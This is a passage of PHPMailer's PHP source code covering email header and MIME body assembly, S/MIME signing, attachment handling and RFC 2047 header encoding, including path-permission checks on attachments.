                $this->Body = $this->wrapText($this->Body, $this->WordWrap);
                break;
        }
    }

    /**
     * Assemble message headers.
     * @access public
     * @return string The assembled headers
     */
    public function createHeader()
    {
        $result = '';

        $result .= $this->headerLine('Date', $this->MessageDate == '' ? self::rfcDate() : $this->MessageDate);

        // To be created automatically by mail()
        if ($this->SingleTo) {
            if ($this->Mailer != 'mail') {
                foreach ($this->to as $toaddr) {
                    $this->SingleToArray[] = $this->addrFormat($toaddr);
                }
            }
        } else {
            if (count($this->to) > 0) {
                if ($this->Mailer != 'mail') {
                    $result .= $this->addrAppend('To', $this->to);
                }
            } elseif (count($this->cc) == 0) {
                $result .= $this->headerLine('To', 'undisclosed-recipients:;');
            }
        }

        $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));

        // sendmail and mail() extract Cc from the header before sending
        if (count($this->cc) > 0) {
            $result .= $this->addrAppend('Cc', $this->cc);
        }

        // sendmail and mail() extract Bcc from the header before sending
        if ((
                $this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail'
            )
            and count($this->bcc) > 0
        ) {
            $result .= $this->addrAppend('Bcc', $this->bcc);
        }

        if (count($this->ReplyTo) > 0) {
            $result .= $this->addrAppend('Reply-To', $this->ReplyTo);
        }

        // mail() sets the subject itself
        if ($this->Mailer != 'mail') {
            $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));
        }

        // Only allow a custom message ID if it conforms to RFC 5322 section 3.6.4
        // https://tools.ietf.org/html/rfc5322#section-3.6.4
        if ('' != $this->MessageID and preg_match('/^<.*@.*>$/', $this->MessageID)) {
            $this->lastMessageID = $this->MessageID;
        } else {
            $this->lastMessageID = sprintf('<%s@%s>', $this->uniqueid, $this->serverHostname());
        }
        $result .= $this->headerLine('Message-ID', $this->lastMessageID);
        if (!is_null($this->Priority)) {
            $result .= $this->headerLine('X-Priority', $this->Priority);
        }
        if ($this->XMailer == '') {
            $result .= $this->headerLine(
                'X-Mailer',
                'PHPMailer ' . $this->Version . ' (https://github.com/PHPMailer/PHPMailer)'
            );
        } else {
            $myXmailer = trim($this->XMailer);
            if ($myXmailer) {
                $result .= $this->headerLine('X-Mailer', $myXmailer);
            }
        }

        if ($this->ConfirmReadingTo != '') {
            $result .= $this->headerLine('Disposition-Notification-To', '<' . $this->ConfirmReadingTo . '>');
        }

        // Add custom headers
        foreach ($this->CustomHeader as $header) {
            $result .= $this->headerLine(
                trim($header[0]),
                $this->encodeHeader(trim($header[1]))
            );
        }
        if (!$this->sign_key_file) {
            $result .= $this->headerLine('MIME-Version', '1.0');
            $result .= $this->getMailMIME();
        }

        return $result;
    }

    /**
     * Get the message MIME type headers.
     * @access public
     * @return string
     */
    public function getMailMIME()
    {
        $result = '';
        $ismultipart = true;
        switch ($this->message_type) {
            case 'inline':
                $result .= $this->headerLine('Content-Type', 'multipart/related;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            case 'attach':
            case 'inline_attach':
            case 'alt_attach':
            case 'alt_inline_attach':
                $result .= $this->headerLine('Content-Type', 'multipart/mixed;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            case 'alt':
            case 'alt_inline':
                $result .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            default:
                // Catches case 'plain': and case '':
                $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);
                $ismultipart = false;
                break;
        }
        // RFC1341 part 5 says 7bit is assumed if not specified
        if ($this->Encoding != '7bit') {
            // RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE
            if ($ismultipart) {
                if ($this->Encoding == '8bit') {
                    $result .= $this->headerLine('Content-Transfer-Encoding', '8bit');
                }
                // The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible
            } else {
                $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);
            }
        }

        if ($this->Mailer != 'mail') {
            $result .= $this->LE;
        }

        return $result;
    }

    /**
     * Returns the whole MIME message.
     * Includes complete headers and body.
     * Only valid post preSend().
     * @see PHPMailer::preSend()
     * @access public
     * @return string
     */
    public function getSentMIMEMessage()
    {
        return rtrim($this->MIMEHeader . $this->mailHeader, "\n\r") . self::CRLF . self::CRLF . $this->MIMEBody;
    }

    /**
     * Create unique ID
     * @return string
     */
    protected function generateId() {
        return md5(uniqid(time()));
    }

    /**
     * Assemble the message body.
     * Returns an empty string on failure.
     * @access public
     * @throws phpmailerException
     * @return string The assembled message body
     */
    public function createBody()
    {
        $body = '';
        //Create unique IDs and preset boundaries
        $this->uniqueid = $this->generateId();
        $this->boundary[1] = 'b1_' . $this->uniqueid;
        $this->boundary[2] = 'b2_' . $this->uniqueid;
        $this->boundary[3] = 'b3_' . $this->uniqueid;

        if ($this->sign_key_file) {
            $body .= $this->getMailMIME() . $this->LE;
        }

        $this->setWordWrap();

        $bodyEncoding = $this->Encoding;
        $bodyCharSet = $this->CharSet;
        //Can we do a 7-bit downgrade?
        if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {
            $bodyEncoding = '7bit';
            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
            $bodyCharSet = 'us-ascii';
        }
        //If lines are too long, and we're not already using an encoding that will shorten them,
        //change to quoted-printable transfer encoding for the body part only
        if ('base64' != $this->Encoding and self::hasLineLongerThanMax($this->Body)) {
            $bodyEncoding = 'quoted-printable';
        }

        $altBodyEncoding = $this->Encoding;
        $altBodyCharSet = $this->CharSet;
        //Can we do a 7-bit downgrade?
        if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {
            $altBodyEncoding = '7bit';
            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
            $altBodyCharSet = 'us-ascii';
        }
        //If lines are too long, and we're not already using an encoding that will shorten them,
        //change to quoted-printable transfer encoding for the alt body part only
        if ('base64' != $altBodyEncoding and self::hasLineLongerThanMax($this->AltBody)) {
            $altBodyEncoding = 'quoted-printable';
        }
        //Use this as a preamble in all multipart message types
        $mimepre = "This is a multi-part message in MIME format." . $this->LE . $this->LE;
        switch ($this->message_type) {
            case 'inline':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[1]);
                break;
            case 'attach':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'inline_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'alt':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                if (!empty($this->Ical)) {
                    $body .= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', '');
                    $body .= $this->encodeString($this->Ical, $this->Encoding);
                    $body .= $this->LE . $this->LE;
                }
                $body .= $this->endBoundary($this->boundary[1]);
                break;
            case 'alt_inline':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->endBoundary($this->boundary[1]);
                break;
            case 'alt_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->endBoundary($this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'alt_inline_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->textLine('--' . $this->boundary[2]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[3] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[3]);
                $body .= $this->LE;
                $body .= $this->endBoundary($this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            default:
                // Catch case 'plain' and case '', applies to simple `text/plain` and `text/html` body content types
                //Reset the `Encoding` property in case we changed it for line length reasons
                $this->Encoding = $bodyEncoding;
                $body .= $this->encodeString($this->Body, $this->Encoding);
                break;
        }

        if ($this->isError()) {
            $body = '';
        } elseif ($this->sign_key_file) {
            try {
                if (!defined('PKCS7_TEXT')) {
                    throw new phpmailerException($this->lang('extension_missing') . 'openssl');
                }
                // @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1
                $file = tempnam(sys_get_temp_dir(), 'mail');
                if (false === file_put_contents($file, $body)) {
                    throw new phpmailerException($this->lang('signing') . ' Could not write temp file');
                }
                $signed = tempnam(sys_get_temp_dir(), 'signed');
                //Workaround for PHP bug https://bugs.php.net/bug.php?id=69197
                if (empty($this->sign_extracerts_file)) {
                    $sign = @openssl_pkcs7_sign(
                        $file,
                        $signed,
                        'file://' . realpath($this->sign_cert_file),
                        array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
                        null
                    );
                } else {
                    $sign = @openssl_pkcs7_sign(
                        $file,
                        $signed,
                        'file://' . realpath($this->sign_cert_file),
                        array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
                        null,
                        PKCS7_DETACHED,
                        $this->sign_extracerts_file
                    );
                }
                if ($sign) {
                    @unlink($file);
                    $body = file_get_contents($signed);
                    @unlink($signed);
                    //The message returned by openssl contains both headers and body, so need to split them up
                    $parts = explode("\n\n", $body, 2);
                    $this->MIMEHeader .= $parts[0] . $this->LE . $this->LE;
                    $body = $parts[1];
                } else {
                    @unlink($file);
                    @unlink($signed);
                    throw new phpmailerException($this->lang('signing') . openssl_error_string());
                }
            } catch (phpmailerException $exc) {
                $body = '';
                if ($this->exceptions) {
                    throw $exc;
                }
            }
        }
        return $body;
    }

    /**
     * Return the start of a message boundary.
     * @access protected
     * @param string $boundary
     * @param string $charSet
     * @param string $contentType
     * @param string $encoding
     * @return string
     */
    protected function getBoundary($boundary, $charSet, $contentType, $encoding)
    {
        $result = '';
        if ($charSet == '') {
            $charSet = $this->CharSet;
        }
        if ($contentType == '') {
            $contentType = $this->ContentType;
        }
        if ($encoding == '') {
            $encoding = $this->Encoding;
        }
        $result .= $this->textLine('--' . $boundary);
        $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);
        $result .= $this->LE;
        // RFC1341 part 5 says 7bit is assumed if not specified
        if ($encoding != '7bit') {
            $result .= $this->headerLine('Content-Transfer-Encoding', $encoding);
        }
        $result .= $this->LE;

        return $result;
    }

    /**
     * Return the end of a message boundary.
     * @access protected
     * @param string $boundary
     * @return string
     */
    protected function endBoundary($boundary)
    {
        return $this->LE . '--' . $boundary . '--' . $this->LE;
    }

    /**
     * Set the message type.
     * PHPMailer only supports some preset message types, not arbitrary MIME structures.
     * @access protected
     * @return void
     */
    protected function setMessageType()
    {
        $type = array();
        if ($this->alternativeExists()) {
            $type[] = 'alt';
        }
        if ($this->inlineImageExists()) {
            $type[] = 'inline';
        }
        if ($this->attachmentExists()) {
            $type[] = 'attach';
        }
        $this->message_type = implode('_', $type);
        if ($this->message_type == '') {
            //The 'plain' message_type refers to the message having a single body element, not that it is plain-text
            $this->message_type = 'plain';
        }
    }

    /**
     * Format a header line.
     * @access public
     * @param string $name
     * @param string $value
     * @return string
     */
    public function headerLine($name, $value)
    {
        return $name . ': ' . $value . $this->LE;
    }

    /**
     * Return a formatted mail line.
     * @access public
     * @param string $value
     * @return string
     */
    public function textLine($value)
    {
        return $value . $this->LE;
    }

    /**
     * Add an attachment from a path on the filesystem.
     * Never use a user-supplied path to a file!
     * Returns false if the file could not be found or read.
     * Explicitly *does not* support passing URLs; PHPMailer is not an HTTP client.
     * If you need to do that, fetch the resource yourself and pass it in via a local file or string.
     * @param string $path Path to the attachment.
     * @param string $name Overrides the attachment name.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File extension (MIME) type.
     * @param string $disposition Disposition to use
     * @throws phpmailerException
     * @return boolean
     */
    public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')
    {
        try {
            if (!self::isPermittedPath($path) or !@is_file($path)) {
                throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);
            }

            // If a MIME type is not specified, try to work it out from the file name
            if ($type == '') {
                $type = self::filenameToType($path);
            }

            $filename = basename($path);
            if ($name == '') {
                $name = $filename;
            }

            $this->attachment[] = array(
                0 => $path,
                1 => $filename,
                2 => $name,
                3 => $encoding,
                4 => $type,
                5 => false, // isStringAttachment
                6 => $disposition,
                7 => 0
            );

        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
        return true;
    }

    /**
     * Return the array of attachments.
     * @return array
     */
    public function getAttachments()
    {
        return $this->attachment;
    }

    /**
     * Attach all file, string, and binary attachments to the message.
     * Returns an empty string on failure.
     * @access protected
     * @param string $disposition_type
     * @param string $boundary
     * @return string
     */
    protected function attachAll($disposition_type, $boundary)
    {
        // Return text of body
        $mime = array();
        $cidUniq = array();
        $incl = array();

        // Add all attachments
        foreach ($this->attachment as $attachment) {
            // Check if it is a valid disposition_filter
            if ($attachment[6] == $disposition_type) {
                // Check for string attachment
                $string = '';
                $path = '';
                $bString = $attachment[5];
                if ($bString) {
                    $string = $attachment[0];
                } else {
                    $path = $attachment[0];
                }

                $inclhash = md5(serialize($attachment));
                if (in_array($inclhash, $incl)) {
                    continue;
                }
                $incl[] = $inclhash;
                $name = $attachment[2];
                $encoding = $attachment[3];
                $type = $attachment[4];
                $disposition = $attachment[6];
                $cid = $attachment[7];
                if ($disposition == 'inline' && array_key_exists($cid, $cidUniq)) {
                    continue;
                }
                $cidUniq[$cid] = true;

                $mime[] = sprintf('--%s%s', $boundary, $this->LE);
                //Only include a filename property if we have one
                if (!empty($name)) {
                    $mime[] = sprintf(
                        'Content-Type: %s; name="%s"%s',
                        $type,
                        $this->encodeHeader($this->secureHeader($name)),
                        $this->LE
                    );
                } else {
                    $mime[] = sprintf(
                        'Content-Type: %s%s',
                        $type,
                        $this->LE
                    );
                }
                // RFC1341 part 5 says 7bit is assumed if not specified
                if ($encoding != '7bit') {
                    $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);
                }

                if ($disposition == 'inline') {
                    $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);
                }

                // If a filename contains any of these chars, it should be quoted,
                // but not otherwise: RFC2183 & RFC2045 5.1
                // Fixes a warning in IETF's msglint MIME checker
                // Allow for bypassing the Content-Disposition header totally
                if (!(empty($disposition))) {
                    $encoded_name = $this->encodeHeader($this->secureHeader($name));
                    if (preg_match('/[ \(\)<>@,;:\\"\/\[\]\?=]/', $encoded_name)) {
                        $mime[] = sprintf(
                            'Content-Disposition: %s; filename="%s"%s',
                            $disposition,
                            $encoded_name,
                            $this->LE . $this->LE
                        );
                    } else {
                        if (!empty($encoded_name)) {
                            $mime[] = sprintf(
                                'Content-Disposition: %s; filename=%s%s',
                                $disposition,
                                $encoded_name,
                                $this->LE . $this->LE
                            );
                        } else {
                            $mime[] = sprintf(
                                'Content-Disposition: %s%s',
                                $disposition,
                                $this->LE . $this->LE
                            );
                        }
                    }
                } else {
                    $mime[] = $this->LE;
                }

                // Encode as string attachment
                if ($bString) {
                    $mime[] = $this->encodeString($string, $encoding);
                    if ($this->isError()) {
                        return '';
                    }
                    $mime[] = $this->LE . $this->LE;
                } else {
                    $mime[] = $this->encodeFile($path, $encoding);
                    if ($this->isError()) {
                        return '';
                    }
                    $mime[] = $this->LE . $this->LE;
                }
            }
        }

        $mime[] = sprintf('--%s--%s', $boundary, $this->LE);

        return implode('', $mime);
    }

    /**
     * Encode a file attachment in requested format.
     * Returns an empty string on failure.
     * @param string $path The full path to the file
     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
     * @throws phpmailerException
     * @access protected
     * @return string
     */
    protected function encodeFile($path, $encoding = 'base64')
    {
        try {
            if (!self::isPermittedPath($path) or !file_exists($path)) {
                throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);
            }
            $magic_quotes = false;
            if( version_compare(PHP_VERSION, '7.4.0', '<') ) {
                $magic_quotes = get_magic_quotes_runtime();
            }
            if ($magic_quotes) {
                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                    set_magic_quotes_runtime(false);
                } else {
                    //Doesn't exist in PHP 5.4, but we don't need to check because
                    //get_magic_quotes_runtime always returns false in 5.4+
                    //so it will never get here
                    ini_set('magic_quotes_runtime', false);
                }
            }
            $file_buffer = file_get_contents($path);
            $file_buffer = $this->encodeString($file_buffer, $encoding);
            if ($magic_quotes) {
                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                    set_magic_quotes_runtime($magic_quotes);
                } else {
                    ini_set('magic_quotes_runtime', $magic_quotes);
                }
            }
            return $file_buffer;
        } catch (Exception $exc) {
            $this->setError($exc->getMessage());
            return '';
        }
    }

    /**
     * Encode a string in requested format.
     * Returns an empty string on failure.
     * @param string $str The text to encode
     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
     * @access public
     * @return string
     */
    public function encodeString($str, $encoding = 'base64')
    {
        $encoded = '';
        switch (strtolower($encoding)) {
            case 'base64':
                $encoded = chunk_split(base64_encode($str), 76, $this->LE);
                break;
            case '7bit':
            case '8bit':
                $encoded = $this->fixEOL($str);
                // Make sure it ends with a line break
                if (substr($encoded, -(strlen($this->LE))) != $this->LE) {
                    $encoded .= $this->LE;
                }
                break;
            case 'binary':
                $encoded = $str;
                break;
            case 'quoted-printable':
                $encoded = $this->encodeQP($str);
                break;
            default:
                $this->setError($this->lang('encoding') . $encoding);
                break;
        }
        return $encoded;
    }

    /**
     * Encode a header string optimally.
     * Picks shortest of Q, B, quoted-printable or none.
     * @access public
     * @param string $str
     * @param string $position
     * @return string
     */
    public function encodeHeader($str, $position = 'text')
    {
        $matchcount = 0;
        switch (strtolower($position)) {
            case 'phrase':
                if (!preg_match('/[\200-\377]/', $str)) {
                    // Can't use addslashes as we don't know the value of magic_quotes_sybase
                    $encoded = addcslashes($str, "\0..\37\177\\\"");
                    if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
                        return ($encoded);
                    } else {
                        return ("\"$encoded\"");
                    }
                }
                $matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
                break;
            /** @noinspection PhpMissingBreakStatementInspection */
            case 'comment':
                $matchcount = preg_match_all('/[()"]/', $str, $matches);
                // Intentional fall-through
            case 'text':
            default:
                $matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
                break;
        }

        //There are no chars that need encoding
        if ($matchcount == 0) {
            return ($str);
        }

        $maxlen = 75 - 7 - strlen($this->CharSet);
        // Try to select the encoding which should produce the shortest output
        if ($matchcount > strlen($str) / 3) {
            // More than a third of the content will need encoding, so B encoding will be most efficient
            $encoding = 'B';
            if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {
                // Use a custom function which correctly encodes and wraps long
                // multibyte strings without breaking lines within a character
                $encoded = $this->base64EncodeWrapMB($str, "\n");
            } else {
                $encoded = base64_encode($str);
                $maxlen -= $maxlen % 4;
                $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
            }
        } else {
            $encoding = 'Q';
            $encoded = $this->encodeQ($str, $position);
            $encoded = $this->wrapText($encoded, $maxlen, true);
            $encoded = str_replace('=' . self::CRLF, "\n", trim($encoded));
        }

        $encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding?\\1?=", $encoded);
        $encoded = trim(str_replace("\n", $this->LE, $encoded));

        return $encoded;
    }

    /**
     * Check if a string contains multi-byte characters.
     * @access public
     * @param string $str multi-byte text to wrap encode
     * @return boolean
     */
    public function hasMultiBytes($str)
    {
        if (function_exists('mb_strlen')) {
            return (strlen($str) > mb_strlen($str, $this->CharSet));
        } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
            return false;
        }
    }

    /**
     * Does a string contain any 8-bit chars (in any charset)?
     * @param string $text
     * @return boolean
     */
    public function has8bitChars($text)
    {
        return (boolean)preg_match('/[\x80-\xFF]/', $text);
    }

    /**
     * Encode and wrap long multibyte strings for mail headers
     * without breaking lines within a character.
     * Adapted from a function by paravoid
     * @link http://www.php.net/manual/en/function.mb-encode-mimeheader.php#60283
     * @access public
     * @param string $str multi-byte text to wrap encode
     * @param string $linebreak string to use as linefeed/end-of-line
     * @return string
     */
    public function base64EncodeWrapMB($str, $linebreak = null)
    {
        $start = '=?' . $this->CharSet . '?B?';
        $end = '?=';
        $encoded = '';
        if ($linebreak === null) {
            $linebreak = $this->LE;
        }

        $mb_length = mb_strlen($str, $this->CharSet);
        // Each line must have length <= 75, including $start and $end
        $length = 75 - strlen($start) - strlen($end);
        // Average multi-byte ratio
        $ratio = $mb_length / strlen($str);
        // Base64 has a 4:3 ratio
        $avgLength = floor($length * $ratio * .75);

        for ($i = 0; $i < $mb_length; $i += $offset) {
            $lookBack = 0;
            do {
                $offset = $avgLength - $lookBack;
                $chunk = mb_substr($str, $i, $offset, $this->CharSet);
                $chunk = base64_encode($chunk);
                $lookBack++;
            } while (strlen($chunk) > $length);
            $encoded .= $chunk . $linebreak;
        }

        // Chomp the last linefeed
        $encoded = substr($encoded, 0, -strlen($linebreak));
        return $encoded;
    }

    /**
     * Encode a string in quoted-printable format.
     * According to RFC2045 section 6.7.
     * @access public
     * @param string $string The text to encode
     * @param integer $line_max Number of chars allowed on a line before wrapping
     * @return string
     * @link http://www.php.net/manual/en/function.quoted-printable-decode.php#89417 Adapted from this comment
     */
    public function encodeQP($string, $line_max = 76)
    {
        // Use native function if it's available (>= PHP5.3)
        if (function_exists('quoted_printable_encode')) {
            return quoted_printable_encode($string);
        }
        // Fall back to a pure PHP implementation
        $string = str_replace(
            array('%20', '%0D%0A.', '%0D%0A', '%'),
            array(' ', "\r\n=2E", "\r\n", '='),
            rawurlencode($string)
        );
        return preg_replace('/[^\r\n]{' . ($line_max - 3) . '}[^=\r\n]{2}/', "$0=\r\n", $string);
    }

    /**
     * Backward compatibility wrapper for an old QP encoding function that was removed.
     * @see PHPMailer::encodeQP()
     * @access public
     * @param string $string
     * @param integer $line_max
     * @param boolean $space_conv
     * @return string
     * @deprecated Use encodeQP instead.
     */
    public function encodeQPphp(
        $string,
        $line_max = 76,
        /** @noinspection PhpUnusedParameterInspection */ $space_conv = false
    ) {
        return $this->encodeQP($string, $line_max);
    }

    /**
     * Encode a string using Q encoding.
     * @link http://tools.ietf.org/html/rfc2047
     * @param string $str the text to encode
     * @param string $position Where the text is going to be used, see the RFC for what that means
     * @access public
     * @return string
     */
    public function encodeQ($str, $position = 'text')
    {
        // There should not be any EOL in the string
        $pattern = '';
        $encoded = str_replace(array("\r", "\n"), '', $str);
        switch (strtolower($position)) {
            case 'phrase':
                // RFC 2047 section 5.3
                $pattern = '^A-Za-z0-9!*+\/ -';
                break;
            /** @noinspection PhpMissingBreakStatementInspection */
            case 'comment':
                // RFC 2047 section 5.2
                $pattern = '\(\)"';
                // intentional fall-through
                // for this reason we build the $pattern without including delimiters and []
            case 'text':
            default:
                // RFC 2047 section 5.1
                // Replace every high ascii, control, =, ? and _ characters
                $pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern;
                break;
        }
        $matches = array();
        if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
            // If the string contains an '=', make sure it's the first thing we replace
            // so as to avoid double-encoding
            $eqkey = array_search('=', $matches[0]);
            if (false !== $eqkey) {
                unset($matches[0][$eqkey]);
                array_unshift($matches[0], '=');
            }
            foreach (array_unique($matches[0]) as $char) {
                $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
            }
        }
        // Replace every spaces to _ (more readable than =20)
        return str_replace(' ', '_', $encoded);
    }

    /**
     * Add a string or binary attachment (non-filesystem).
     * This method can be used to attach ascii or binary data,
     * such as a BLOB record from a database.
     * @param string $string String attachment data.
     * @param string $filename Name of the attachment.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File extension (MIME) type.
     * @param string $disposition Disposition to use
     * @return void
     */
    public function addStringAttachment(
        $string,
        $filename,
        $encoding = 'base64',
        $type = '',
        $disposition = 'attachment'
    ) {
        // If a MIME type is not specified, try to work it out from the file name
        if ($type == '') {
            $type = self::filenameToType($filename);
        }
        // Append to $attachment array
        $this->attachment[] = array(
            0 => $string,
            1 => $filename,
            2 => basename($filename),
            3 => $encoding,
            4 => $type,
            5 => true, // isStringAttachment
            6 => $disposition,
            7 => 0
        );
    }

    /**
     * Add an embedded (inline) attachment from a file.
     * This can include images, sounds, and just about any other document type.
     * These differ from 'regular' attachments in that they are intended to be
     * displayed inline with the message, not just attached for download.
     * This is used in HTML messages that embed the images
     * the HTML refers to using the $cid value.
     * Never use a user-supplied path to a file!
     * @param string $path Path to the attachment.
     * @param string $cid Content ID of the attachment; Use this to reference
     *        the content when using an embedded image in HTML.
     * @param string $name Overrides the attachment name.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File MIME type.
     * @param string $disposition Disposition to use
     * @return boolean True on successfully adding an attachment
     */
    public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')
    {
        if (!self::isPermittedPath($path) or !@is_file($path)) {
            $this->setError($this->lang('file_access') . $path);
            return false;
        }

        // If a MIME type is not specified, try to work it out from the file name
        if ($type == '') {
            $type = self::filenameToType($path);
        }

        $filename = basename($path);
        if ($name == '') {
            $name = $filename;
        }

        // Append to $attachment array
        $this->attachment[] = array(
            0 => $path,
            1 => $filename,
            2 => $name,
            3 => $encoding,
            4 => $type,
            5 => false, // isStringAttachment
            6 => $disposition,
            7 => $cid
        );
        return true;
    }

    /**
     * Add an embedded stringified attachment.
     * This can include images, sounds, and just about any other document type.
     * Be sure to set the $type to an image type for images:
     * JPEG images use 'image/jpeg', GIF uses 'image/gif', PNG uses 'image/png'.
     * @param string $string The attachment binary data.
     * @param string $cid Content ID of the attachment; Use this to reference
     *        the content when using an embedded image in HTML.
     * @param string $name
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type MIME type.
     * @param string $disposition Disposition to use
     * @return boolean True on successfully adding an attachment
     */
    public function addStringEmbeddedImage(
        $string,
        $cid,
        $name = '',
        $encoding = 'base64',
        $type = '',
        $disposition = 'inline'
    ) {
        // If a MIME type is not specified, try to work it out from the name
        if ($type == '' and !empty($name)) {
            $type = self::filenameToType($name);
        }

        // Append to $attachment array
        $this->attachment[] = array(
            0 => $string,
            1 => $name,
            2 => $name,
            3 => $encoding,
            4 => $type,
            5 => true, // isStringAttachment
            6 => $disposition,
            7 => $cid
        );
        return true;
    }

    /**
     * Check if an inline attachment is present.
     * @access public
     * @return boolean
     */
    public function inlineImageExists()
    {
        foreach ($this->attachment as $attachment) {
            if ($attachment[6] == 'inline') {
